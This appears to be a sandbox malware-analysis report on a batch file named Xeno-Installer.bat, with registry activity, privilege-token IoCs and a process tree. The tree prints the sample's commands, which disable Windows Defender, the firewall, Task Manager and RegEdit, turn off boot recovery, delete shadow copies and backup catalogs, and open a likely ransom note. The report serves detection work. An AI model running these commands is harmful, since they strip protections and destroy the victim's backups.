Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR de-DE Lts Lexicon" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033Mark" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft David - English (United States)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "MS-1040-110-WINMO-DNN" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033Zira" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Mark" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\en-US\\VoiceActivation_HW_en-US.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\c3082.fe" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "5223743" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Pablo" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Cosimo" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "{0CFAE939-931E-4305-8D05-8C76C254EB34}" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\M1036Paul" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR ja-JP Lts Lexicon" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\Content\CacheVersion = "1" SearchApp.exe Set value (int) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Settings\Cache\History\CacheLimit = "1" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "436;41c;401;801;c01;1001;1401;1801;1c01;2001;2401;2801;2c01;3001;3401;3801;3c01;4001;42b;42c;82c;42d;423;402;455;403;c04;1004;1404;41a;405;406;465;413;813;809;c09;1009;1409;1809;1c09;2009;2409;2809;2c09;3009;3409;425;438;429;40b;80c;c0c;100c;140c;180c;456;437;807;c07;1007;1407;408;447;40d;439;40e;40f;421;410;810;44b;457;412;812;440;426;427;827;42f;43e;83e;44e;450;414;814;415;416;816;446;418;419;44f;c1a;81a;41b;424;80a;100a;140a;180a;1c0a;200a;240a;280a;2c0a;300a;340a;380a;3c0a;400a;440a;480a;4c0a;500a;430;441;41d;81d;45a;449;444;44a;41e;41f;422;420;820;443;843;42a;540a" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "HW" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "Microsoft Speech SW Voice Activation - English (United States)" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "SR es-ES Locale Handler" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\es-ES-N\\r3082sr.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\r1040sr.lxa" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eik = "%windir%\\Speech_OneCore\\Engines\\SR\\it-IT-N\\tn1040.bin" SearchApp.exe - Opens file in notepad (likely ransom note) 1 IoCs
pid Process 5984 notepad.exe - Runs net.exe
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 5676 OpenWith.exe - Suspicious use of AdjustPrivilegeToken 63 IoCs
description pid Process Token: SeBackupPrivilege 2016 vssvc.exe Token: SeRestorePrivilege 2016 vssvc.exe Token: SeAuditPrivilege 2016 vssvc.exe Token: SeIncreaseQuotaPrivilege 3172 WMIC.exe Token: SeSecurityPrivilege 3172 WMIC.exe Token: SeTakeOwnershipPrivilege 3172 WMIC.exe Token: SeLoadDriverPrivilege 3172 WMIC.exe Token: SeSystemProfilePrivilege 3172 WMIC.exe Token: SeSystemtimePrivilege 3172 WMIC.exe Token: SeProfSingleProcessPrivilege 3172 WMIC.exe Token: SeIncBasePriorityPrivilege 3172 WMIC.exe Token: SeCreatePagefilePrivilege 3172 WMIC.exe Token: SeBackupPrivilege 3172 WMIC.exe Token: SeRestorePrivilege 3172 WMIC.exe Token: SeShutdownPrivilege 3172 WMIC.exe Token: SeDebugPrivilege 3172 WMIC.exe Token: SeSystemEnvironmentPrivilege 3172 WMIC.exe Token: SeRemoteShutdownPrivilege 3172 WMIC.exe Token: SeUndockPrivilege 3172 WMIC.exe Token: SeManageVolumePrivilege 3172 WMIC.exe Token: 33 3172 WMIC.exe Token: 34 3172 WMIC.exe Token: 35 3172 WMIC.exe Token: 36 3172 WMIC.exe Token: SeIncreaseQuotaPrivilege 3172 WMIC.exe Token: SeSecurityPrivilege 3172 WMIC.exe Token: SeTakeOwnershipPrivilege 3172 WMIC.exe Token: SeLoadDriverPrivilege 3172 WMIC.exe Token: SeSystemProfilePrivilege 3172 WMIC.exe Token: SeSystemtimePrivilege 3172 WMIC.exe Token: SeProfSingleProcessPrivilege 3172 WMIC.exe Token: SeIncBasePriorityPrivilege 3172 WMIC.exe Token: SeCreatePagefilePrivilege 3172 WMIC.exe Token: SeBackupPrivilege 3172 WMIC.exe Token: SeRestorePrivilege 3172 WMIC.exe Token: SeShutdownPrivilege 3172 WMIC.exe Token: SeDebugPrivilege 3172 WMIC.exe Token: SeSystemEnvironmentPrivilege 3172 WMIC.exe Token: SeRemoteShutdownPrivilege 3172 WMIC.exe Token: SeUndockPrivilege 3172 WMIC.exe Token: SeManageVolumePrivilege 3172 WMIC.exe Token: 33 3172 WMIC.exe Token: 34 3172 WMIC.exe Token: 35 3172 WMIC.exe Token: 36 3172 WMIC.exe Token: SeBackupPrivilege 2476 wbengine.exe Token: SeRestorePrivilege 2476 wbengine.exe Token: SeSecurityPrivilege 2476 wbengine.exe Token: SeManageVolumePrivilege 3404 svchost.exe Token: SeDebugPrivilege 3748 SearchApp.exe Token: SeDebugPrivilege 3748 SearchApp.exe Token: SeDebugPrivilege 3748 SearchApp.exe Token: SeDebugPrivilege 3748 SearchApp.exe Token: SeDebugPrivilege 3748 SearchApp.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe Token: SeDebugPrivilege 1340 firefox.exe - Suspicious use of FindShellTrayWindow 13 IoCs
pid Process 3748 SearchApp.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe - Suspicious use of SetWindowsHookEx 64 IoCs
pid Process 3748 SearchApp.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 5676 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1140 OpenWith.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe 1340 firefox.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4580 wrote to memory of 5160 4580 cmd.exe 88 PID 5160 wrote to memory of 3536 5160 net.exe 89 PID 4580 wrote to memory of 5984 4580 cmd.exe 90 PID 4580 wrote to memory of 4308 4580 cmd.exe 91 PID 4580 wrote to memory of 4316 4580 cmd.exe 92 PID 4580 wrote to memory of 3288 4580 cmd.exe 93 PID 4580 wrote to memory of 5916 4580 cmd.exe 94 PID 4580 wrote to memory of 1140 4580 cmd.exe 95 PID 4580 wrote to memory of 1752 4580 cmd.exe 96 PID 4580 wrote to memory of 6084 4580 cmd.exe 98 PID 6084 wrote to memory of 4820 6084 net.exe 99 PID 4580 wrote to memory of 5624 4580 cmd.exe 100 PID 5624 wrote to memory of 756 5624 net.exe 101 PID 4580 wrote to memory of 5064 4580 cmd.exe 102 PID 4580 wrote to memory of 4060 4580 cmd.exe 103 PID 4580 wrote to memory of 1056 4580 cmd.exe 105 PID 4580 wrote to memory of 4100 4580 cmd.exe 106 PID 4580 wrote to memory of 5920 4580 cmd.exe 107 PID 4580 wrote to memory of 5252 4580 cmd.exe 108 PID 4580 wrote to memory of 5912 4580 cmd.exe 109 PID 4580 wrote to memory of 3172 4580 cmd.exe 112 PID 4580 wrote to memory of 4740 4580 cmd.exe 114 PID 4580 wrote to memory of 620 4580 cmd.exe 118 PID 1140 wrote to memory of 552 1140 OpenWith.exe 146 PID 552 wrote to memory of 1340 552 firefox.exe 148 PID 552 wrote to memory of 1340 552 firefox.exe 148 PID 1340 wrote to memory of 1484 1340 firefox.exe 149 PID 1340 wrote to memory of 1484 1340 firefox.exe 149 PID 1340 wrote to memory of 1484 1340 firefox.exe 149 PID 1340 wrote to memory of 892 1340 firefox.exe 150 PID 1340 wrote to memory of 892 1340 firefox.exe 150 PID 1340 wrote to memory of 892 1340 firefox.exe 150 PID 1340 wrote to memory of 892 1340 firefox.exe 150 PID 1340 wrote to memory of 816 1340 firefox.exe 151 PID 1340 wrote to memory of 816 1340 firefox.exe 151 PID 1340 wrote to memory of 816 1340 firefox.exe 151 PID 1340 wrote to memory of 816 1340 firefox.exe 151 PID 1340 wrote to memory of 3216 1340 firefox.exe 152 PID 1340 wrote to memory of 3216 1340 firefox.exe 152 PID 1340 wrote to memory of 3216 1340 firefox.exe 152 PID 1340 wrote to memory of 1736 1340 firefox.exe 153 PID 1340 wrote to memory of 1736 1340 firefox.exe 153 PID 1340 wrote to memory of 1736 1340 firefox.exe 153 PID 1340 wrote to memory of 1736 1340 firefox.exe 153 PID 1340 wrote to memory of 4868 1340 firefox.exe 154 PID 1340 wrote to memory of 4868 1340 firefox.exe 154 PID 1340 wrote to memory of 4868 1340 firefox.exe 154 PID 1340 wrote to memory of 4868 1340 firefox.exe 154 PID 1340 wrote to memory of 6408 1340 firefox.exe 156 PID 1340 wrote to memory of 6408 1340 firefox.exe 156 PID 1340 wrote to memory of 6408 1340 firefox.exe 156 PID 1340 wrote to memory of 6408 1340 firefox.exe 156 PID 1340 wrote to memory of 6500 1340 firefox.exe 157 PID 1340 wrote to memory of 6500 1340 firefox.exe 157 PID 1340 wrote to memory of 6500 1340 firefox.exe 157 PID 1340 wrote to memory of 6500 1340 firefox.exe 157 PID 1340 wrote to memory of 6524 1340 firefox.exe 158 PID 1340 wrote to memory of 6524 1340 firefox.exe 158 PID 1340 wrote to memory of 6524 1340 firefox.exe 158 PID 1340 wrote to memory of 6524 1340 firefox.exe 158 PID 1340 wrote to memory of 6544 1340 firefox.exe 159 PID 1340 wrote to memory of 6544 1340 firefox.exe 159 PID 1340 wrote to memory of 6544 1340 firefox.exe 159 PID 1340 wrote to memory of 6544 1340 firefox.exe 159 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 620 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Xeno-Installer.bat"1⤵
- Executes a command shell one-liner
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4580 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:5160 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:3536
-
-
-
C:\Windows\system32\notepad.exenotepad.exe "C:\Users\Public\Desktop\NOTICE.txt"2⤵
- Opens file in notepad (likely ransom note)
PID:5984
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f2⤵PID:4308
-
-
C:\Windows\system32\reg.exereg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers" /v DefaultLevel /t REG_DWORD /d 0 /f2⤵PID:4316
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:3288
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:5916
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1140
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1752
-
-
C:\Windows\system32\net.exenet stop WinDefend /y2⤵
- Suspicious use of WriteProcessMemory
PID:6084 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y3⤵PID:4820
-
-
-
C:\Windows\system32\net.exenet stop wscsvc /y2⤵
- Suspicious use of WriteProcessMemory
PID:5624 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wscsvc /y3⤵PID:756
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5064
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:4060
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f2⤵PID:1056
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f2⤵
- Disables RegEdit via registry modification
PID:4100
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
PID:5920
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no2⤵
- Modifies boot configuration data using bcdedit
PID:5252
-
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5912
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:3172
-
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet2⤵
- Deletes backup catalog
PID:4740
-
-
C:\Windows\system32\attrib.exeattrib -h -r -s C:\Windows\System32\config\*2⤵
- Drops file in System32 directory
- Views/modifies file attributes
PID:620
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2476
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4772
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:6028
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy1⤵PID:2384
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3404
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy1⤵PID:2760
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy1⤵PID:4800
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3748
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5676
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1140 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
- Drops desktop.ini file(s)
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2476 -prefsLen 24447 -prefMapHandle 2480 -prefMapSize 268500 -ipcHandle 2552 -initialChannelId {0a2f4cad-d4c9-47f8-8184-4332eb0ece07} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu4⤵PID:1484
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2824 -prefsLen 24447 -prefMapHandle 2828 -prefMapSize 268500 -ipcHandle 2836 -initialChannelId {5613e5bc-5102-450a-af31-6e19fa3ff81d} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket4⤵
- Checks processor information in registry
PID:892
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1768 -prefsLen 24883 -prefMapHandle 1800 -prefMapSize 268500 -jsInitHandle 1816 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3568 -initialChannelId {8f19525d-ec87-4ce4-b3c8-974e56342580} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab4⤵
- Checks processor information in registry
PID:816
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3628 -prefsLen 25769 -prefMapHandle 3632 -prefMapSize 268500 -ipcHandle 3536 -initialChannelId {bb7aee04-7355-4339-b59f-bf27e68e40ee} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd4⤵PID:3216
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3968 -prefsLen 25831 -prefMapHandle 3972 -prefMapSize 268500 -jsInitHandle 3976 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3984 -initialChannelId {ec09b3f7-23a7-4be0-b7ef-ce45cce72d99} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab4⤵
- Checks processor information in registry
PID:1736
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4592 -prefsLen 26198 -prefMapHandle 4596 -prefMapSize 268500 -jsInitHandle 4600 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4608 -initialChannelId {15319569-d54c-4cd8-bf67-30ccde922c19} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab4⤵
- Checks processor information in registry
PID:4868
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4916 -prefsLen 36466 -prefMapHandle 5544 -prefMapSize 268500 -ipcHandle 5552 -initialChannelId {18f2c815-e19a-4394-8921-43d186f00d10} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility4⤵
- Checks processor information in registry
PID:6408
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5728 -prefsLen 34446 -prefMapHandle 5732 -prefMapSize 268500 -jsInitHandle 5736 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5744 -initialChannelId {b8e435c5-dac5-4369-a866-9897b2a41bfb} -parentPid 1340 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1340" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab4⤵
- Checks processor information in registry
PID:6500
-
-
